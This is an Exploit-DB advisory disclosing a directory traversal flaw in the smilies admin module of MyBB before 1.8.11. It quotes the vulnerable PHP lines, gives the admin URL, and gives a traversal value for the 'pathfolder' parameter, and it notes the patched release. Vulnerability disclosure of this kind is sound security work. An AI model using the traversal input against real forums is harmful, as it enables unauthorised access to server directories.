MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal

EDB-ID: 41862
Author: Zhiyang Zeng
Published: 2017-04-11
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

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product: MyBB
Homepage: https://mybb.com/
vulnerable version: < 1.8.11
Severity: Low risk

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Proof of Concept:
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vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

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Fixed:
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This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

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